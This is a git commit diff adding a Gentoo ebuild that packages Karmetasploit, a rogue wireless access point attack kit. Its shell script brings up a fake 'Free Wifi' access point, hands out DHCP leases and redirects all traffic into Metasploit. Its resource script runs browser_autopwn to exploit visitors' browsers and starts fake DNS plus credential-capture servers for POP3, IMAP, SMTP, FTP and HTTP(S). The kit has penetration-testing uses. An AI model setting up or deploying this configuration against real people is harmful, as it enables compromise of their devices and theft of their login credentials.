diff options
author | BlackNoxis <steven.darklight@gmail.com> | 2014-02-15 23:24:26 +0200 |
---|---|---|
committer | BlackNoxis <steven.darklight@gmail.com> | 2014-02-15 23:24:26 +0200 |
commit | 7224c1253228e5c29c78cb3f0f26ce34770f2356 (patch) | |
tree | 1684924656132935256e034f35f92abee6623265 /net-wireless/karmetasploit |
Added ebuilds for kogaion desktop
Diffstat (limited to 'net-wireless/karmetasploit')
-rw-r--r-- | net-wireless/karmetasploit/Manifest | 4 | ||||
-rw-r--r-- | net-wireless/karmetasploit/files/karma.rc | 80 | ||||
-rw-r--r-- | net-wireless/karmetasploit/files/karmeta-dhcpd.conf | 16 | ||||
-rwxr-xr-x | net-wireless/karmetasploit/files/karmeta.sh | 34 | ||||
-rw-r--r-- | net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild | 26 |
5 files changed, 160 insertions, 0 deletions
diff --git a/net-wireless/karmetasploit/Manifest b/net-wireless/karmetasploit/Manifest new file mode 100644 index 00000000..dfe0d840 --- /dev/null +++ b/net-wireless/karmetasploit/Manifest @@ -0,0 +1,4 @@ +AUX karma.rc 1088 RMD160 baa771e9bb2e7d61309364e6a16a97dcf1267ae0 SHA1 93056b24cc00130110935b7d9fdca57a9cc960f0 SHA256 99c1306409f8ccdbd1ced819bc25d546904c2c07cd127ffc8a37faae54d04723 +AUX karmeta-dhcpd.conf 283 RMD160 b45e409f957c28f93c3472aa48686a3a3a935668 SHA1 a6176ce8d7935ca27c81f4b0ce9ed56e23addd87 SHA256 b44406c7dc3c6b9364131813f8c6d35867ae05292a0bef0ed33c46af264b2985 +AUX karmeta.sh 969 RMD160 a059f274c68ea8403fdc155ac1b638401d15a21d SHA1 3adb2bb0c266f46921bda923c3275abb82767be7 SHA256 a733f2ed0e9126ffed1aa3f51b35ddfbc4f96664ef2cb88ea4dfea43553fd731 +EBUILD karmetasploit-0.1-r2.ebuild 577 RMD160 c15a4a0bc784c1bdcc585026836fe3e8c2fba20c SHA1 89358694f22bff1d31bf87392f0a3423823e9050 SHA256 4a03f6ca3478a83e14e36a7019b285b754f763b14e872f22e2db3242a4f331ff diff --git a/net-wireless/karmetasploit/files/karma.rc b/net-wireless/karmetasploit/files/karma.rc new file mode 100644 index 00000000..b98a27b6 --- /dev/null +++ b/net-wireless/karmetasploit/files/karma.rc @@ -0,0 +1,80 @@ +load db_sqlite3 +db_create /root/karma.db + +use auxiliary/server/browser_autopwn + +setg AUTOPWN_HOST 10.0.0.1 +setg AUTOPWN_PORT 55550 +setg AUTOPWN_URI /ads + +set LHOST 10.0.0.1 +set LPORT 45000 +set SRVPORT 55550 +set URIPATH /ads + +run + + + +use auxiliary/server/capture/pop3 +set SRVPORT 110 +set SSL false +run + +use auxiliary/server/capture/pop3 +set SRVPORT 995 +set SSL true +run + +use auxiliary/server/capture/ftp +run + +use auxiliary/server/capture/imap +set SSL false +set SRVPORT 143 +run + +use auxiliary/server/capture/imap +set SSL true +set SRVPORT 993 +run + +use auxiliary/server/capture/smtp +set SSL false +set SRVPORT 25 +run + +use auxiliary/server/capture/smtp +set SSL true +set SRVPORT 465 +run + +use auxiliary/server/fakedns +unset TARGETHOST +set SRVPORT 5353 +run + +use auxiliary/server/fakedns +unset TARGETHOST +set SRVPORT 53 +run + +use auxiliary/server/capture/http +set SRVPORT 80 +set SSL false +run + +use auxiliary/server/capture/http +set SRVPORT 8080 +set SSL false +run + +use auxiliary/server/capture/http +set SRVPORT 443 +set SSL true +run + +use auxiliary/server/capture/http +set SRVPORT 8443 +set SSL true +run diff --git a/net-wireless/karmetasploit/files/karmeta-dhcpd.conf b/net-wireless/karmetasploit/files/karmeta-dhcpd.conf new file mode 100644 index 00000000..7c1a2c6c --- /dev/null +++ b/net-wireless/karmetasploit/files/karmeta-dhcpd.conf @@ -0,0 +1,16 @@ +option domain-name-servers 10.0.0.1; + +default-lease-time 600; +max-lease-time 720; + +ddns-update-style none; + +authoritative; + +log-facility local7; + +subnet 10.0.0.0 netmask 255.255.255.0 { + range 10.0.0.2 10.0.0.254; + option routers 10.0.0.1; + option domain-name-servers 10.0.0.1; +} diff --git a/net-wireless/karmetasploit/files/karmeta.sh b/net-wireless/karmetasploit/files/karmeta.sh new file mode 100755 index 00000000..f163e481 --- /dev/null +++ b/net-wireless/karmetasploit/files/karmeta.sh @@ -0,0 +1,34 @@ +#!/bin/bash +echo "karmetasploit script by kingtuna: super ultra mega alpha version" +echo "warning: this currently leaves your system in a funny state." +echo "you may have to remove monitor interfaces and kill dhcpd and airbase-ng manually" +killall -9 airbase-ng dhcpd +iptables --flush + +#airmon-ng stop mon0 +if [ x"$1" != x ] +then +airmon-ng start $1 +else +echo "Please specify a device to use as AP" +exit +fi + +#modprobe tun + +/usr/sbin/airbase-ng -P -C 30 -c 6 -e "Free Wifi" -v mon0 > /dev/null 2>&1 & +sleep 2 +ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 +ifconfig eth0 up 10.0.0.1 netmask 255.255.255.0 +ifconfig mon0 up 10.0.0.1 netmask 255.255.255.0 +route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 +sleep 2 +LEASEFILE="/var/lib/dhcp/dhcpd.leases" +if [ ! -f "$LEASEFILE" ]; then + touch $LEASEFILE +fi +/usr/sbin/dhcpd -cf /etc/karmeta-dhcpd.conf +sleep 2 +ifconfig at0 mtu 1400 +iptables -t nat -A PREROUTING -i at0 -j REDIRECT +/usr/bin/msfconsole3 -r /etc/karma.rc diff --git a/net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild b/net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild new file mode 100644 index 00000000..e9c2c1b1 --- /dev/null +++ b/net-wireless/karmetasploit/karmetasploit-0.1-r2.ebuild @@ -0,0 +1,26 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +DESCRIPTION="KARMA + Metasploit 3 == Karmetasploit" +#karmetasploit + kingtuna script +HOMEPAGE="http://dev.metasploit.com/redmine/projects/framework/wiki/Karmetasploit" + +LICENSE="GPL-2" +KEYWORDS="amd64 arm x86" +SLOT="0" + +IUSE="" + +DEPEND="" +RDEPEND="net-analyzer/metasploit + net-wireless/aircrack-ng + net-misc/dhcp" + +src_install() { + dosbin "${FILESDIR}"/karmeta.sh + + dodir /etc + insinto /etc + doins "${FILESDIR}"/karmeta-dhcpd.conf "${FILESDIR}"/karma.rc +} |